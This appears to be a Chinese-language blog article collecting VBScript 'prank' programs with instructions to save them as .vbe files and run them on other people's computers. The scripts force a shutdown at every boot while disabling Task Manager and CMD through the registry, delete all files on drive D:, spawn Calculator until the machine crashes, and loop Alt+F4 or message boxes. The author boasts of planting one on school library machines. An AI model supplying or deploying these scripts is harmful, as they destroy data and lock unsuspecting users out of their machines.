vbe與vbs整人程式碼大全,包括強制自動關機、開啟無數計算器、無限迴圈等vbs整人程式碼,感興趣的朋友參考下。
vbe與vbs整人程式碼
例子:
set s=createobject("wscript.shell")
set bag=getobject("winmgmts:\\.\root\cimv2")
set pipe=bag.execquery("select * from win32_process where name='wscript.exe'")
For Each id in pipe
if instr(1,id.commandLine,wscript.scriptfullname)<>0 and pipe.count>=2 then
s.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",0,"REG_DWORD"
s.regwrite"HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD",0,"REG_DWORD"
id.terminate()
else
s.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",1,"REG_DWORD"
s.regwrite"HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD",1,"REG_DWORD"
for i=1 to 60
s.popup"系統將在"& 60-i &"秒後關機...",1,"系統提示",4096+48
next
Set colOS = GetObject("winmgmts:{(Shutdown)}").ExecQuery("Select * FROM Win32_OperatingSystem")
For Each eOs In colOS
eOs.Win32Shutdown(2)
Next
end if
Next
複製以上程式碼,在桌面建一個文字,把程式碼放進去,另存為VBE格式,
此程式碼的威力:
1:開機就強制自動關機
2:cmd命令打不開
3:結束任務不管用
4:F8安全模式也不管用
呵呵!聽起來是不是有點恐怖啊,我在我朋友空間裡看見也嚇了一跳、
程式碼破解方法:就是再執行一次,就可以破解了,也就是第2次儲存的那個VBE檔案,,
PS:不要亂拿軟體去整人,發生什麼事可不要怪我啊。。
第2種
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""說你是傻B,我是天下第一大傻B不說寶寶,我是天下第一大傻B就一分鐘關你機,不信,試試···"" ",0 ,true
dim a
do while(a <> "寶寶,我是天下第一大傻B")
a = inputbox ("寶寶,我是天下第一大傻B,就不關機,快撒,說 ""寶寶,我是天下第一大傻B"" ","說不說","不說",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早說就行了嘛,乖乖"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "寶寶是不是又帥啦??"
這程式碼是我從朋友那拿來的,大家可以試著玩下、你能做非法事情哦、
二、我就用這個程式放在學校圖書館查詢書刊的機器上,好多人都那它沒辦法,哈哈
do
msgbox "You are foolish!"
loop
三、開啟無數個計算器,直到當機
set wsh=createobject("wscript.shell")
do
wsh.run "calc"
loop
四、直接關機
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "shutdown -f -s -t 00",0 ,true
五、刪除D:\所有檔案
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true
六、不斷彈出視窗
while(1)
msgbox "哈哈 你被耍了!"
loop
七、不斷按下alt+f4 (開什麼都關閉……)
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
while(1)
WSHshell.SendKeys "%{F4}"
loop
八、按500次回車
(以上程式碼在執行者的電腦上顯示500個對話方塊。其中 do until s=500 ,500可以隨意更改)
dim s
do until s=500
s=s+1
msgbox "哥們,給我按500次回車吧",64
loop
'------------------------ ------------------------------------------------------------
九、關不掉的視窗
WScript.Echo("嘿,謝謝你開啟我哦,我等你很久拉!"&TSName)
WScript.Echo("你是可愛的小朋嗎?")
WScript.Echo("哈,我想你拉,這你都不知道嗎?")
WScript.Echo("怎麼才來,說~是不是不關心我")
WScript.Echo("哼,我生氣拉,等你這麼久,心都涼啦。")
WScript.Echo("小強很生氣,後果很嚴重哦。")
WScript.Echo("嘿嘿!你也會很慘滴哦")
WScript.Echo("是不是想清除我?")
WScript.Echo("那你要點上50下哦,不過會給你驚喜滴")
WScript.Echo("還剩49下,快點點哦")
WScript.Echo("還剩48下,快點,小笨蛋!")
WScript.Echo("還剩47下對,就這樣快點點!")
WScript.Echo("還剩46下。你啊就是笨,要快哦,我先不打擾你工作。")
WScript.Echo("還剩45下,記得要快哦!")
WScript.Echo("還剩43下")
WScript.Echo("還剩42下")
WScript.Echo("還剩41下")
WScript.Echo("還剩40下")
WScript.Echo("還剩39下")
WScript.Echo("還剩38下")
WScript.Echo("還剩37下")
WScript.Echo("還剩36下")
WScript.Echo("還剩35下")
WScript.Echo("還剩34下")
WScript.Echo("還剩33下")
WScript.Echo("還剩32下")
WScript.Echo("還剩30下")
WScript.Echo("還剩29下")
WScript.Echo("還剩28下")
WScript.Echo("還剩27下")
WScript.Echo("還剩26下")
WScript.Echo("還剩25下")
WScript.Echo("還剩24下")
WScript.Echo("還剩23下")
WScript.Echo("還剩22下")
WScript.Echo("還剩21下")
WScript.Echo("還剩20下")
WScript.Echo("還剩19下")
WScript.Echo("還剩18下")
WScript.Echo("還剩17下")
WScript.Echo("還剩16下")
WScript.Echo("還剩15下")
WScript.Echo("還剩14下")
WScript.Echo("還剩13下停停!!!慢點,我有話要說")
WScript.Echo("還剩12下,你繼續點我就會消失滴")
WScript.Echo("還剩11下,以後就看不到我拉。555555")
WScript.Echo("還剩10下,你現在可以選擇停止!")
WScript.Echo("還剩9下。你還點啊,不要我拉?")
WScript.Echo("還剩8下,有點傷心拉,幹嘛丟棄人家")
WScript.Echo("還剩7下。瘋了,你有點負意!")
WScript.Echo("還剩6下。對。你就點吧,我恨你!")
WScript.Echo("還剩5下,不明白,刪除我你就好嗎?")
WScript.Echo("還剩4下!真要刪除我?")
WScript.Echo("還剩3下。可是我真的很眷戀你。。。")
WScript.Echo("還剩2下。不要這麼絕情嘛,人家是愛你的!")
WScript.Echo("還剩1下。哼,既然你這麼絕情。也別怪我無義!!!")
WScript.Echo("我本因該消失的,不過我留戀你滴芳容,上帝又給了一次機會。")
WScript.Echo("想結素我麼?那你就再多點一次")
WScript.Echo("想結素我麼?那你就再多點一次")
WScript.Echo("想結素我麼?那你就再多點一次")
WScript.Echo("想結素我麼?那你就再多點一次")
WScript.Echo("想結素我麼?那你就再多點一次")
WScript.Echo("想結素我麼?那你就再多點一次")
WScript.Echo("想結素我麼?那你就再多點一次")
WScript.Echo("想結素我麼?那你就再多點一次")
WScript.Echo("想結素我麼?那你就再多點一次")
WScript.Echo("想結素我麼?那你就再多點一次")
懂VBE的可以試試,很好玩的×
使用方法,建一個本文文件把你想要的複製進去,另存為,把後戳名改成×××.vbe,雙擊執行即可。
黑客整人程式碼,vbS整人程式碼大全(強制自動關機、開啟無數計算器、無限迴圈等)
相關文章
- 計算機專業:有限的青春無限的程式碼計算機
- win10無限迴圈自動修復怎麼辦_win10開機無限迴圈自帶修復失敗重啟如何解決Win10
- 無限for迴圈(死迴圈)
- javascript無限迴圈滾動JavaScript
- win10自動修復失敗無限迴圈怎麼辦_win10開機自動修復失敗無限迴圈如何解決Win10
- 直播系統app原始碼,垂直,水平無限迴圈滑動APP原始碼
- js自動倒數計時程式碼,倒數計時完畢時自動停止迴圈JS
- 網球迴圈賽思路 - 分治法求解(無程式碼)
- Java學習十七—反射機制:解鎖程式碼的無限可能Java反射
- 日本13歲女學生被警方調查:因釋出 JavaScript 無限迴圈程式碼JavaScript
- ViewPager實現左右無限迴圈滑動Viewpager
- Java無限迴圈問題Java
- 小程式:無限自動滾動的Gallery
- android可以無限迴圈滑動的ViewPagerAndroidViewpager
- iOS開發系列--無限迴圈的圖片瀏覽器iOS瀏覽器
- 程式碼日數:高階迴圈
- 無程式碼程式設計程式設計
- 10行程式碼實現頁面無限滾動行程
- win10 1909系統開機無限迴圈重啟怎麼辦Win10
- 啟動vmware虛擬機器報錯:“無法獲得VMCI驅動程式的版本:控制程式碼無效”虛擬機
- javascript無限級求和程式碼例項JavaScript
- Puppeteer無頭瀏覽器:開啟自動化之門,掌握瀏覽器世界的無限可能瀏覽器
- iOS-無限迴圈輪播圖iOS
- IOS 無限迴圈小視訊播放iOS
- 釘釘小程式自定義年月日日期picker選擇器元件-日無限迴圈滾動元件
- 無程式碼的啟動速度測試 with stagesepx
- 非同步程式設計之事件迴圈機制非同步程式設計事件
- 關於本地計算機無法啟動Apache2計算機Apache
- IL程式碼底層執行機制之迴圈處理 (轉)
- 線上直播系統原始碼,橫向無限迴圈滾動的單行彈幕效果原始碼
- 90行程式碼,15個元素實現無限滾動行程
- 無縫迴圈滾動
- mac強制關閉程式是哪個快捷鍵 mac強制關閉程式當機無效解決方法介紹Mac
- 低程式碼VS無程式碼
- 原生js系列之無限迴圈輪播元件JS元件
- AlloyTouch之無限迴圈select外掛
- WinForm程式開機自動啟動ORM
- 回覆關鍵詞的無限擴充套件機制套件